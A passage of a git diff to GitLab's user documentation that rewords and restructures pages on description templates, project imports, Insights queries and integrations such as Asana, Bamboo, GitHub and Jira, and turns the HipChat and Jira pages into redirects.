+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52360) in GitLab 13.9.
+> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default.
+> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56737) in GitLab 13.11.
+> - It's enabled by default on GitLab.com.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-issue-and-merge-request-description-templates-at-group-and-instance-level). **(PREMIUM SELF)**
+
+With **group-level** description templates, you can store your templates in a single repository and
+configure the group file templates setting to point to that repository.
+As a result, you can use the same templates in issues and merge requests in all the group's projects.
+
+To re-use templates [you've created](../project/description_templates.md#create-an-issue-template):
+
+1. Go to the group's **Settings > General > Templates**.
+1. From the dropdown, select your template project as the template repository at group level.
+1. Select **Save changes**.
+
+![Group template settings](../group/img/group_file_template_settings.png)
### Set a default template for merge requests and issues **(PREMIUM)**
+In a project, you can choose a default description template for new issues and merge requests.
+As a result, every time a new merge request or issue is created, it's pre-filled with the text you
+entered in the template.
+
The visibility of issues or merge requests should be set to either "Everyone
-with access" or "Only Project Members" in your project's **Settings / Visibility, project features, permissions** section, otherwise the
+with access" or "Only Project Members" in your project's
+**Settings / Visibility, project features, permissions** section. Otherwise, the
template text areas don't show. This is the default behavior, so in most cases
you should be fine.
@@ -149,9 +175,6 @@ To set a default description template for issues:
Because GitLab merge request and issues support [Markdown](../markdown.md), you can use it to format
headings, lists, and so on.
-Now, every time a new merge request or issue is created, it's pre-filled with the text you entered
-in the templates.
-
[GitLab versions 13.10 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/885)
provide `issues_template` and `merge_requests_template` attributes in the
[Projects API](../../api/projects.md) to help you keep your templates up to date.
@@ -211,9 +234,9 @@ it's very hard to read otherwise.)
Setting issue and merge request description templates at group and instance levels
is under development and not ready for production use. It is deployed behind a
-feature flag that is **disabled by default**.
+feature flag that is **enabled by default**.
[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md)
-can enable it.
+can disable it.
To enable it:
diff --git a/doc/user/project/file_lock.md b/doc/user/project/file_lock.md
index 4edb6fbdad9..b51a1b79a13 100644
--- a/doc/user/project/file_lock.md
+++ b/doc/user/project/file_lock.md
@@ -117,7 +117,7 @@ must **lock the file** before [editing it](#edit-lockable-files).
### Lock files
By locking a file, you verify that no one else is editing it, and
-prevent anyone else from editing the file until you’re done. On the other
+prevent anyone else from editing the file until you're done. On the other
hand, when you unlock a file, you communicate that you've finished editing
and allow other people to edit it.
diff --git a/doc/user/project/img/issue_board_iteration_lists_v13_10.png b/doc/user/project/img/issue_board_iteration_lists_v13_10.png
new file mode 100644
index 00000000000..eb3a9524c88
--- /dev/null
+++ b/doc/user/project/img/issue_board_iteration_lists_v13_10.png
Binary files differ
diff --git a/doc/user/project/img/issue_boards_blocked_icon_v13_10.png b/doc/user/project/img/issue_boards_blocked_icon_v13_10.png
new file mode 100644
index 00000000000..466b647253d
--- /dev/null
+++ b/doc/user/project/img/issue_boards_blocked_icon_v13_10.png
Binary files differ
diff --git a/doc/user/project/img/issue_boards_blocked_icon_v13_6.png b/doc/user/project/img/issue_boards_blocked_icon_v13_6.png
deleted file mode 100644
index 2dac6bb2ee3..00000000000
--- a/doc/user/project/img/issue_boards_blocked_icon_v13_6.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/img/project_overview_badges.png b/doc/user/project/img/project_overview_badges.png
deleted file mode 100644
index 83b9766828a..00000000000
--- a/doc/user/project/img/project_overview_badges.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/img/project_overview_badges_v13_10.png b/doc/user/project/img/project_overview_badges_v13_10.png
new file mode 100644
index 00000000000..b5510566b1b
--- /dev/null
+++ b/doc/user/project/img/project_overview_badges_v13_10.png
Binary files differ
diff --git a/doc/user/project/img/project_repository_settings.png b/doc/user/project/img/project_repository_settings.png
deleted file mode 100644
index 69d36753a58..00000000000
--- a/doc/user/project/img/project_repository_settings.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/import/perforce.md b/doc/user/project/import/perforce.md
index 85c8a3020b9..8040eb07c93 100644
--- a/doc/user/project/import/perforce.md
+++ b/doc/user/project/import/perforce.md
@@ -15,33 +15,33 @@ include a centralized, proprietary version control system similar to Git.
The following list illustrates the main differences between Perforce Helix and
Git:
-1. In general the biggest difference is that Perforce branching is heavyweight
- compared to Git's lightweight branching. When you create a branch in Perforce,
- it creates an integration record in their proprietary database for every file
- in the branch, regardless how many were actually changed. Whereas Git was
- implemented with a different architecture so that a single SHA acts as a pointer
- to the state of the whole repository after the changes, making it very easy to branch.
- This is what made feature branching workflows so easy to adopt with Git.
-1. Also, context switching between branches is much easier in Git. If your manager
- said 'You need to stop work on that new feature and fix this security
- vulnerability' you can do so very easily in Git.
-1. Having a complete copy of the project and its history on your local machine
- means every transaction is very fast and Git provides that. You can branch/merge
- and experiment in isolation, then clean up your mess before sharing your new
- cool stuff with everyone.
-1. Git also made code review simple because you could share your changes without
- merging them to master, whereas Perforce had to implement a Shelving feature on
- the server so others could review changes before merging.
+- In general, the biggest difference is that Perforce branching is heavyweight
+ compared to Git's lightweight branching. When you create a branch in Perforce,
+ it creates an integration record in their proprietary database for every file
+ in the branch, regardless how many were actually changed. With Git, however,
+ a single SHA acts as a pointer to the state of the whole repository after the
+ changes, which can be helpful when adopting feature branching workflows.
+- Context switching between branches is less complex in Git. If your manager
+ says, 'You need to stop work on that new feature and fix this security
+ vulnerability,' Git can help you do this.
+- Having a complete copy of the project and its history on your local computer
+ means every transaction is very fast, and Git provides that. You can branch
+ or merge, and experiment in isolation, and then clean up before sharing your
+ changes with others.
+- Git makes code review less complex, because you can share your changes without
+ merging them to the default branch. This is compared to Perforce, which had to
+ implement a Shelving feature on the server so others could review changes
+ before merging.
## Why migrate
Perforce Helix can be difficult to manage both from a user and an administrator
perspective. Migrating to Git/GitLab there is:
-- **No licensing costs**, Git is GPL while Perforce Helix is proprietary.
-- **Shorter learning curve**, Git has a big community and a vast number of
+- **No licensing costs**: Git is GPL while Perforce Helix is proprietary.
+- **Shorter learning curve**: Git has a big community and a vast number of
tutorials to get you started.
-- **Integration with modern tools**, migrating to Git and GitLab you can have
+- **Integration with modern tools**: By migrating to Git and GitLab, you can have
an open source end-to-end software development platform with built-in version
control, issue tracking, code review, CI/CD, and more.
diff --git a/doc/user/project/import/phabricator.md b/doc/user/project/import/phabricator.md
index 189afac1226..91fd7b8928b 100644
--- a/doc/user/project/import/phabricator.md
+++ b/doc/user/project/import/phabricator.md
@@ -36,13 +36,4 @@ of the project being imported into, then the user will be linked.
## Enabling this feature
-While this feature is incomplete, a feature flag is required to enable it so that
-we can gain early feedback before releasing it for everyone. To enable it:
-
-1. Run the following command in a Rails console:
-
- ```ruby
- Feature.enable(:phabricator_import)
- ```
-
-1. Enable Phabricator as an [import source](../../admin_area/settings/visibility_and_access_controls.md#import-sources) in the Admin Area.
+Enable Phabricator as an [import source](../../admin_area/settings/visibility_and_access_controls.md#import-sources) in the Admin Area.
diff --git a/doc/user/project/insights/index.md b/doc/user/project/insights/index.md
index 1efb3583fbf..72897a1a26e 100644
--- a/doc/user/project/insights/index.md
+++ b/doc/user/project/insights/index.md
@@ -192,7 +192,7 @@ Supported values are:
#### `query.issuable_state`
-Filter by the state of the queried "issuable".
+Filter by the current state of the queried "issuable".
By default, the `opened` state filter is applied.
@@ -206,10 +206,10 @@ Supported values are:
#### `query.filter_labels`
-Filter by labels applied to the queried "issuable".
+Filter by labels currently applied to the queried "issuable".
By default, no labels filter is applied. All the defined labels must be
-applied to the "issuable" in order for it to be selected.
+currently applied to the "issuable" in order for it to be selected.
Example:
@@ -262,7 +262,7 @@ Supported values are:
#### `query.period_limit`
-Define how far "issuables" are queried in the past.
+Define how far "issuables" are queried in the past (using the `query.period_field`).
The unit is related to the `query.group_by` you defined. For instance if you
defined `query.group_by: 'day'` then `query.period_limit: 365` would mean
@@ -303,7 +303,7 @@ you may see `created_at` in place of `merged_at`. `created_at` is used instead.
You can limit where the "issuables" can be queried from:
-- If `.gitlab/insights.yml` is used for a [group's insights](../../group/insights/index.md#configure-your-insights), with `projects`, you can limit the projects to be queried. By default, all projects under the group are used.
+- If `.gitlab/insights.yml` is used for a [group's insights](../../group/insights/index.md#configure-your-insights), with `projects`, you can limit the projects to be queried. By default, all projects currently under the group are used.
- If `.gitlab/insights.yml` is used for a project's insights, specifying any other projects yields no results. By default, the project itself is used.
#### `projects.only`
diff --git a/doc/user/project/integrations/asana.md b/doc/user/project/integrations/asana.md
new file mode 100644
index 00000000000..b9552fff110
--- /dev/null
+++ b/doc/user/project/integrations/asana.md
@@ -0,0 +1,44 @@
+---
+stage: Create
+group: Ecosystem
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# Asana service **(FREE)**
+
+This service adds commit messages as comments to Asana tasks.
+Once enabled, commit messages are checked for Asana task URLs (for example,
+`https://app.asana.com/0/123456/987654`) or task IDs starting with `#`
+(for example, `#987654`). Every task ID found gets the commit comment added to it.
+
+You can also close a task with a message containing: `fix #123456`.
+You can use either of these words:
+
+- `fix`
+- `fixed`
+- `fixes`
+- `fixing`
+- `close`
+- `closes`
+- `closed`
+- `closing`
+
+See also the [Asana service API documentation](../../../api/services.md#asana).
+
+## Setup
+
+In Asana, create a Personal Access Token.
+[Learn about Personal Access Tokens in Asana](https://developers.asana.com/docs/personal-access-token).
+
+Complete these steps in GitLab:
+
+1. Go to the project you want to configure.
+1. Go to the [Integrations page](overview.md#accessing-integrations).
+1. Select **Asana**.
+1. Ensure that the **Active** toggle is enabled.
+1. Paste the token you generated in Asana.
+1. (Optional) To restrict this setting to specific branches, list them in the **Restrict to branch**
+ field, separated with commas.
+1. Select **Save changes** or optionally select **Test settings**.
+
+<!-- ## Troubleshooting -->
diff --git a/doc/user/project/integrations/bamboo.md b/doc/user/project/integrations/bamboo.md
index 3b012ab4430..1eb8a8c60e0 100644
--- a/doc/user/project/integrations/bamboo.md
+++ b/doc/user/project/integrations/bamboo.md
@@ -4,11 +4,11 @@ group: Ecosystem
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Atlassian Bamboo CI Service **(FREE)**
+# Atlassian Bamboo Service **(FREE)**
GitLab provides integration with Atlassian Bamboo for continuous integration.
When configured, pushes to a project trigger a build in Bamboo automatically.
-Merge requests also display CI status showing whether the build is pending,
+Merge requests also display CI/CD status showing whether the build is pending,
failed, or completed successfully. It also provides a link to the Bamboo build
page for more information.
@@ -20,21 +20,21 @@ need to be configured in a Bamboo build plan before GitLab can integrate.
### Complete these steps in Bamboo
-1. Navigate to a Bamboo build plan and choose 'Configure plan' from the 'Actions'
+1. Navigate to a Bamboo build plan and choose **Configure plan** from the **Actions**
dropdown.
-1. Select the 'Triggers' tab.
-1. Click 'Add trigger'.
-1. Enter a description such as 'GitLab trigger'
-1. Choose 'Repository triggers the build when changes are committed'
-1. Check one or more repositories checkboxes
-1. Enter the GitLab IP address in the 'Trigger IP addresses' box. This is a
+1. Select the **Triggers** tab.
+1. Click **Add trigger**.
+1. Enter a description such as **GitLab trigger**.
+1. Choose **Repository triggers the build when changes are committed**.
+1. Select the checkbox for one or more repositories.
+1. Enter the GitLab IP address in the **Trigger IP addresses** box. This is a
list of IP addresses that are allowed to trigger Bamboo builds.
1. Save the trigger.
1. In the left pane, select a build stage. If you have multiple build stages
you want to select the last stage that contains the Git checkout task.
-1. Select the 'Miscellaneous' tab.
-1. Under 'Pattern Match Labeling' put `${bamboo.repository.revision.number}`
- in the 'Labels' box.
+1. Select the **Miscellaneous** tab.
+1. Under **Pattern Match Labeling** put `${bamboo.repository.revision.number}`
+ in the **Labels** box.
1. Save
Bamboo is now ready to accept triggers from GitLab. Next, set up the Bamboo
@@ -44,18 +44,18 @@ service in GitLab.
1. Navigate to the project you want to configure to trigger builds.
1. Navigate to the [Integrations page](overview.md#accessing-integrations)
-1. Click 'Atlassian Bamboo CI'
+1. Click **Atlassian Bamboo**.
1. Ensure that the **Active** toggle is enabled.
1. Enter the base URL of your Bamboo server. `https://bamboo.example.com`
1. Enter the build key from your Bamboo build plan. Build keys are typically made
up from the Project Key and Plan Key that are set on project/plan creation and
- separated with a dash (`-`), for example **PROJ-PLAN**. This is a short, all
+ separated with a dash (`-`), for example **PROJ-PLAN**. This is a short, all
uppercase identifier that is unique. When viewing a plan in Bamboo, the
build key is also shown in the browser URL, for example `https://bamboo.example.com/browse/PROJ-PLAN`.
1. If necessary, enter username and password for a Bamboo user that has
access to trigger the build plan. Leave these fields blank if you do not require
authentication.
-1. Save or optionally click 'Test Settings'. Please note that 'Test Settings'
+1. Save or optionally click **Test Settings**. Please note that **Test Settings**
actually triggers a build in Bamboo.
## Troubleshooting
@@ -63,7 +63,7 @@ service in GitLab.
### Builds not triggered
If builds are not triggered, ensure you entered the right GitLab IP address in
-Bamboo under 'Trigger IP addresses'. Also check [service hook logs](overview.md#troubleshooting-integrations) for request failures.
+Bamboo under **Trigger IP addresses**. Also check [service hook logs](overview.md#troubleshooting-integrations) for request failures.
### Advanced Atlassian Bamboo features not available in GitLab UI
diff --git a/doc/user/project/integrations/discord_notifications.md b/doc/user/project/integrations/discord_notifications.md
index 624c0252f23..2ec657eec22 100644
--- a/doc/user/project/integrations/discord_notifications.md
+++ b/doc/user/project/integrations/discord_notifications.md
@@ -10,7 +10,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w
The Discord Notifications service sends event notifications from GitLab to the channel for which the webhook was created.
-To send GitLab event notifications to a Discord channel, create a webhook in Discord and configure it in GitLab.
+To send GitLab event notifications to a Discord channel, [create a webhook in Discord](https://support.discord.com/hc/en-us/articles/228383668-Intro-to-Webhooks)
+and configure it in GitLab.
## Create webhook
diff --git a/doc/user/project/integrations/emails_on_push.md b/doc/user/project/integrations/emails_on_push.md
index 4970e20974b..3ef4a4e5004 100644
--- a/doc/user/project/integrations/emails_on_push.md
+++ b/doc/user/project/integrations/emails_on_push.md
@@ -18,9 +18,9 @@ The following options are available:
- **Push events** - Email is triggered when a push event is received.
- **Tag push events** - Email is triggered when a tag is created and pushed.
-- **Send from committer** - Send notifications from the committer's email address if the domain is part of the domain GitLab is running on (e.g. `user@gitlab.com`).
+- **Send from committer** - Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as `user@gitlab.com`).
- **Disable code diffs** - Don't include possibly sensitive code diffs in notification body.
| Settings | Notification |
| --- | --- |
-| ![Email on push service settings](img/emails_on_push_service.png) | ![Email on push notification](img/emails_on_push_email.png) |
+| ![Email on push service settings](img/emails_on_push_service_v13_11.png) | ![Email on push notification](img/emails_on_push_email.png) |
diff --git a/doc/user/project/integrations/github.md b/doc/user/project/integrations/github.md
index 1c0309cab87..4f5640d9fff 100644
--- a/doc/user/project/integrations/github.md
+++ b/doc/user/project/integrations/github.md
@@ -18,38 +18,39 @@ and is automatically configured on [GitHub import](../../../integration/github.m
## Configuration
-### Complete these steps on GitHub
-
This integration requires a [GitHub API token](https://docs.github.com/en/github/authenticating-to-github/creating-a-personal-access-token)
-with `repo:status` access granted:
+with `repo:status` access granted.
+
+Complete these steps on GitHub:
-1. Go to your "Personal access tokens" page at <https://github.com/settings/tokens>
-1. Click "Generate New Token"
-1. Ensure that `repo:status` is checked and click "Generate token"
-1. Copy the generated token to use on GitLab
+1. Go to your **Personal access tokens** page at <https://github.com/settings/tokens>.
+1. Select **Generate new token**.
+1. Under **Note**, enter a name for the new token.
+1. Ensure that `repo:status` is checked and select **Generate token**.
+1. Copy the generated token to use in GitLab.
-### Complete these steps on GitLab
+Complete these steps in GitLab:
-1. Navigate to the project you want to configure.
-1. Navigate to the [Integrations page](overview.md#accessing-integrations)
-1. Click "GitHub".
+1. Go to the project you want to configure.
+1. Go to the [Integrations page](overview.md#accessing-integrations)
+1. Select **GitHub**.
1. Ensure that the **Active** toggle is enabled.
-1. Paste the token you've generated on GitHub
-1. Enter the path to your project on GitHub, such as `https://github.com/username/repository`
-1. Optionally uncheck **Static status check names** checkbox to disable static status check names.
-1. Save or optionally click "Test Settings".
+1. Paste the token you generated on GitHub.
+1. Enter the path to your project on GitHub, such as `https://github.com/username/repository`.
+1. (Optional) To disable static status check names, clear the **Static status check names** checkbox.
+1. Select **Save changes** or optionally select **Test settings**.
-Once the integration is configured, see [Pipelines for external pull requests](../../../ci/ci_cd_for_external_repos/#pipelines-for-external-pull-requests)
+After configuring the integration, see [Pipelines for external pull requests](../../../ci/ci_cd_for_external_repos/#pipelines-for-external-pull-requests)
to configure pipelines to run for open pull requests.
-#### Static / dynamic status check names
+### Static / dynamic status check names
> - Introduced in GitLab 11.5: using static status check names as opt-in option.
> - [In GitLab 12.4](https://gitlab.com/gitlab-org/gitlab/-/issues/9931), static status check names is default behavior for new projects.
-This makes it possible to mark these status checks as _Required_ on GitHub.
-With **Static status check names** enabled on the integration page, your
-GitLab instance host name is appended to a status check name,
-whereas in case of dynamic status check names, a branch name is appended.
+This makes it possible to mark these status checks as **Required** on GitHub.
+
+When **Static status check names** is enabled on the integration page, your
+GitLab instance host name is appended to a status check name.
-![Configure GitHub Project Integration](img/github_configuration.png)
+When disabled, it uses dynamic status check names and appends the branch name.
diff --git a/doc/user/project/integrations/hipchat.md b/doc/user/project/integrations/hipchat.md
index 9c0eb571f66..63772936fd4 100644
--- a/doc/user/project/integrations/hipchat.md
+++ b/doc/user/project/integrations/hipchat.md
@@ -1,64 +1,7 @@
---
-stage: Create
-group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: 'index.md'
---
-# Atlassian HipChat (Deprecated) **(FREE)**
-
-As of [GitLab
-13.11](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/57434), the
-HipChat integration will not send any notifications to HipChat. This
-integration is also deprecated.
-
-GitLab provides a way to send HipChat notifications upon a number of events,
-such as when a user pushes code, creates a branch or tag, adds a comment, and
-creates a merge request.
-
-## Setup
-
-GitLab requires the use of a HipChat v2 API token to work. v1 tokens are
-not supported at this time. Note the differences between v1 and v2 tokens:
-
-HipChat v1 API (legacy) supports "API Auth Tokens" in the Group API menu. A v1
-token is allowed to send messages to *any* room.
-
-HipChat v2 API has tokens that are can be created using the Integrations tab
-in the Group or Room administration page. By design, these are lightweight tokens that
-allow GitLab to send messages only to *one* room.
-
-### Complete these steps in HipChat
-
-1. Go to: `https://admin.hipchat.com/admin`
-1. Click on "Group Admin" -> "Integrations".
-1. Find "Build Your Own!" and click "Create".
-1. Select the desired room, name the integration "GitLab", and click "Create".
-1. In the "Send messages to this room by posting this URL" column, you should
- see a URL in the format:
-
-```plaintext
-https://api.hipchat.com/v2/room/<room>/notification?auth_token=<token>
-```
-
-HipChat is now ready to accept messages from GitLab. Next, set up the HipChat
-service in GitLab.
-
-### Complete these steps in GitLab
-
-1. Navigate to the project you want to configure for notifications.
-1. Navigate to the [Integrations page](overview.md#accessing-integrations)
-1. Click "HipChat".
-1. Ensure that the **Active** toggle is enabled.
-1. Insert the `token` field from the URL into the `Token` field on the Web page.
-1. Insert the `room` field from the URL into the `Room` field on the Web page.
-1. Save or optionally click "Test Settings".
-
-## Troubleshooting
-
-If you do not see notifications, make sure you are using a HipChat v2 API
-token, not a v1 token.
-
-Note that the v2 token is tied to a specific room. If you want to be able to
-specify arbitrary rooms, you can create an API token for a specific user in
-HipChat under "Account settings" and "API access". Use the `XXX` value under
-`auth_token=XXX`.
+This document was moved to [another location](index.md).
+<!-- This redirect file can be deleted after 2021-06-30. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/integrations/img/emails_on_push_service_v13_11.png b/doc/user/project/integrations/img/emails_on_push_service_v13_11.png
new file mode 100644
index 00000000000..e895b4b771f
--- /dev/null
+++ b/doc/user/project/integrations/img/emails_on_push_service_v13_11.png
Binary files differ
diff --git a/doc/user/project/integrations/img/github_configuration.png b/doc/user/project/integrations/img/github_configuration.png
deleted file mode 100644
index 5798b826681..00000000000
--- a/doc/user/project/integrations/img/github_configuration.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/integrations/img/jira_add_user_to_group.png b/doc/user/project/integrations/img/jira_add_user_to_group.png
deleted file mode 100644
index b63a851a987..00000000000
--- a/doc/user/project/integrations/img/jira_add_user_to_group.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/integrations/img/jira_api_token.png b/doc/user/project/integrations/img/jira_api_token.png
deleted file mode 100644
index d9d37713a4d..00000000000
--- a/doc/user/project/integrations/img/jira_api_token.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/integrations/img/jira_api_token_menu.png b/doc/user/project/integrations/img/jira_api_token_menu.png
deleted file mode 100644
index a10a59a243d..00000000000
--- a/doc/user/project/integrations/img/jira_api_token_menu.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/integrations/img/jira_create_new_user.png b/doc/user/project/integrations/img/jira_create_new_user.png
deleted file mode 100644
index c74933298e3..00000000000
--- a/doc/user/project/integrations/img/jira_create_new_user.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/integrations/img/jira_group_access.png b/doc/user/project/integrations/img/jira_group_access.png
deleted file mode 100644
index e33f2eed242..00000000000
--- a/doc/user/project/integrations/img/jira_group_access.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/integrations/img/jira_user_management_link.png b/doc/user/project/integrations/img/jira_user_management_link.png
deleted file mode 100644
index caecd1d71fc..00000000000
--- a/doc/user/project/integrations/img/jira_user_management_link.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/integrations/img/mattermost_configuration_v2.png b/doc/user/project/integrations/img/mattermost_configuration_v2.png
deleted file mode 100644
index 0470869c4f7..00000000000
--- a/doc/user/project/integrations/img/mattermost_configuration_v2.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/integrations/img/microsoft_teams_configuration.png b/doc/user/project/integrations/img/microsoft_teams_configuration.png
deleted file mode 100644
index 22ad28e3f73..00000000000
--- a/doc/user/project/integrations/img/microsoft_teams_configuration.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/integrations/img/redmine_configuration.png b/doc/user/project/integrations/img/redmine_configuration.png
deleted file mode 100644
index eb392b848b5..00000000000
--- a/doc/user/project/integrations/img/redmine_configuration.png
+++ /dev/null
Binary files differ
diff --git a/doc/user/project/integrations/index.md b/doc/user/project/integrations/index.md
index 5628a9bc5e5..c7772ac2238 100644
--- a/doc/user/project/integrations/index.md
+++ b/doc/user/project/integrations/index.md
@@ -12,11 +12,14 @@ You can find the available integrations under your project's
## Integrations
-Integrations allow you to integrate GitLab with other applications.
-They are a bit like plugins in that they allow a lot of freedom in
-adding functionality to GitLab.
-
-Learn more [about integrations](overview.md).
+Like plugins, integrations allow you to integrate GitLab with other applications, adding additional features.
+For more information, read the
+[overview of integrations](overview.md) or learn how to manage your integrations:
+
+- *For GitLab 13.3 and later,* read [Project integration management](../../admin_area/settings/project_integration_management.md).
+- *For GitLab 13.2 and earlier,* read [Service Templates](services_templates.md),
+ which are deprecated and [scheduled to be removed](https://gitlab.com/gitlab-org/gitlab/-/issues/268032)
+ in GitLab 14.0.
## Project webhooks
diff --git a/doc/user/project/integrations/irker.md b/doc/user/project/integrations/irker.md
index e75561b3ddb..295300fb55d 100644
--- a/doc/user/project/integrations/irker.md
+++ b/doc/user/project/integrations/irker.md
@@ -23,7 +23,7 @@ git clone https://gitlab.com/esr/irker.git
Once you have downloaded the code, you can run the Python script named `irkerd`.
This script is the gateway script, it acts both as an IRC client, for sending
-messages to an IRC server obviously, and as a TCP server, for receiving messages
+messages to an IRC server, and as a TCP server, for receiving messages
from the GitLab service.
If the Irker server runs on the same machine, you are done. If not, you
diff --git a/doc/user/project/integrations/jira.md b/doc/user/project/integrations/jira.md
index 0878e1c9386..b91a8a1fb3b 100644
--- a/doc/user/project/integrations/jira.md
+++ b/doc/user/project/integrations/jira.md
@@ -1,306 +1,8 @@
---
-stage: Create
-group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: '../../../integration/jira/index.md'
---
-# GitLab Jira integration **(FREE)**
+This document was moved to [another location](../../../integration/jira/index.md).
-You can use Jira to track work implemented in GitLab. The Jira integration with GitLab makes the
-process of working across these systems more efficient.
-
-The GitLab Jira integration, available in every GitLab project by default, allows you to connect
-to any Jira instance, whether on Atlassian cloud or self-managed.
-
-You can also install the [Jira Development Panel integration](../../../integration/jira_development_panel.md).
-For more information about the differences between the two integrations, see
-[Jira integrations](jira_integrations.md).
-
-After you set up this integration, you can cross-reference activity in the GitLab project with any
-of your projects in Jira. This includes the ability to close or transition Jira issues when work is
-completed in GitLab and:
-
-- Mention a Jira issue ID in a commit message or MR (merge request) and:
- - GitLab links to the Jira issue.
- - The Jira issue adds a comment with details and a link back to the activity in GitLab.
-- Mention that a commit or MR resolves or closes a specific Jira issue and when it's merged to the default branch:
- - The GitLab MR displays a note that it closed the Jira issue. Prior to the merge, MRs indicate which issue they close.
- - The Jira issue shows the activity and is closed or otherwise transitioned as specified in your GitLab settings.
-- Run a pipeline on an MR linked to a Jira issue:
- - The Jira issue shows the current pipeline status (in the sidebar as "builds").
-- Deploy to an environment from an MR linked to a Jira issue:
- - The Jira issue shows the status of the deployment (in the sidebar as "deployments").
-- Create or modify a feature flag that mentions a Jira issue in its description:
- - The Jira issue shows the details of the feature-flag (in the sidebar as "feature flags").
-- View a list of Jira issues directly in GitLab. **(PREMIUM)**
-- Create a Jira issue from a vulnerability. **(ULTIMATE)**
-
-Additional features provided by the Jira Development Panel integration include:
-
-- In a Jira issue, display relevant GitLab information in the [development panel](https://support.atlassian.com/jira-software-cloud/docs/view-development-information-for-an-issue/), including related branches, commits, and merge requests.
-- Use Jira [Smart Commits](https://confluence.atlassian.com/fisheye/using-smart-commits-960155400.html) in GitLab to add Jira comments, log time spent on the issue, or apply any issue transition.
-- Showing pipeline, deployment, and feature flags in Jira issues.
-
-## Configuration
-
-<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
-For an overview, see [Agile Management - GitLab-Jira Basic Integration](https://www.youtube.com/watch?v=fWvwkx5_00E&feature=youtu.be).
-
-Each GitLab project can be configured to connect to an entire Jira instance. That means one GitLab
-project can interact with _all_ Jira projects in that instance, once configured. For:
-
-- The [view Jira issues](#view-jira-issues) feature, you must associate a GitLab project with a
- specific Jira project.
-- Other features, you do not have to explicitly associate a GitLab project with any single Jira
- project.
-
-If you have one Jira instance, you can pre-fill the settings. For more information, see the
-documentation for:
-
-- [Project integration management](../../admin_area/settings/project_integration_management.md).
-- [Services Templates](services_templates.md).
-
-To enable the Jira service in GitLab, you must:
-
-1. Configure the project in Jira.
-1. Enter the correct values in GitLab.
-
-### Configure Jira
-
-The process for configuring Jira depends on whether you host Jira on your own server or on
-[Atlassian cloud](https://www.atlassian.com/cloud).
-
-#### Jira Server
-
-Jira Server supports basic authentication. When connecting, a **username and password** are
-required. Connecting to Jira Server via CAS is not possible. For more information, see
-[set up a user in Jira Server](jira_server_configuration.md).
-
-#### Jira on Atlassian cloud
-
-Jira on Atlassian cloud supports authentication through an API token. When connecting to Jira on
-Atlassian cloud, an **email and API token** are required. For more information, see
-[set up a user in Jira on Atlassian cloud](jira_cloud_configuration.md).
-
-### Configure GitLab
-
-> **Notes:**
->
-> - The supported Jira versions are `v6.x`, `v7.x`, and `v8.x`.
-> - In order to support Oracle's Access Manager, GitLab sends additional cookies
-> to enable Basic Auth. The cookie being added to each request is `OBBasicAuth` with
-> a value of `fromDialog`.
-
-To enable the Jira integration in a project:
-
-1. Go to the project's [Integrations page](overview.md#accessing-integrations) and select the
- **Jira** service.
-
-1. Select **Enable integration**.
-
-1. Select **Trigger** actions.
- This determines whether a mention of a Jira issue in GitLab commits, merge requests, or both,
- should link the Jira issue back to that source commit/MR and transition the Jira issue, if
- indicated.
-
-1. To include a comment on the Jira issue when the above reference is made in GitLab, select
- **Enable comments**.
-
- 1. Select the **Comment detail**: **Standard** or **All details**.
-
-1. Enter the further details on the page as described in the following table.
-
- | Field | Description |
- | ----- | ----------- |
- | `Web URL` | The base URL to the Jira instance web interface which is being linked to this GitLab project. For example, `https://jira.example.com`. |
- | `Jira API URL` | The base URL to the Jira instance API. Web URL value is used if not set. For example, `https://jira-api.example.com`. Leave this field blank (or use the same value of `Web URL`) if using **Jira on Atlassian cloud**. |
- | `Username or Email` | Created in [configure Jira](#configure-jira) step. Use `username` for **Jira Server** or `email` for **Jira on Atlassian cloud**. |
- | `Password/API token` | Created in [configure Jira](#configure-jira) step. Use `password` for **Jira Server** or `API token` for **Jira on Atlassian cloud**. |
- | `Jira workflow transition IDs` | Required for closing Jira issues via commits or merge requests. These are the IDs of transitions in Jira that move issues to a particular state. (See [Obtaining a transition ID](#obtaining-a-transition-id).) If you insert multiple transition IDs separated by `,` or `;`, the issue is moved to each state, one after another, using the given order. In GitLab 13.6 and earlier, field was called `Transition ID`. |
-
-1. To enable users to view Jira issues inside the GitLab project, select **Enable Jira issues** and
- enter a Jira project key. **(PREMIUM)**
-
- You can only display issues from a single Jira project within a given GitLab project.
-
- WARNING:
- If you enable Jira issues with the setting above, all users that have access to this GitLab project
- are able to view all issues from the specified Jira project.
-
-1. To enable creation of issues for vulnerabilities, select **Enable Jira issues creation from vulnerabilities**.
-
- 1. Select the **Jira issue type**. If the dropdown is empty, select refresh (**{retry}**) and try again.
-
-1. To verify the Jira connection is working, select **Test settings**.
-
